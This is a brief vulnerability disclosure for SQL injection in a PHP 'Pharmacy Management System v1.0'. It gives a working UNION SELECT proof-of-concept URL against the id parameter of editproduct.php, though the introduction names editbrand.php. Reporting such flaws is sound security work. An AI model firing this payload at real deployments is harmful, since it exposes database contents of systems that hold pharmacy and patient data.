Introduction

There is a SQL Injection in editbrand.php in Pharmacy Management System v1.0.
I put all the php files to the web root path, so I use /editproduct.php, or it can also be placed at /dawapharma/dawapharma/editproduct.php etc.

POC

image.png
the “10.3.34-MariaDB-0+deb10ul” is the database version I use, so it is a SQL injection that can echo the content.
POC:

  1. /editproduct.php?id=-1%27%20union%20select%201,version(),3,4,5,6,7,8,9,0,11,12,13;--+

Vulnerability Analysis

in the editproduct.php, the logic as follows:
image.png
the wabpage use the id parameter as part of sql statement directly.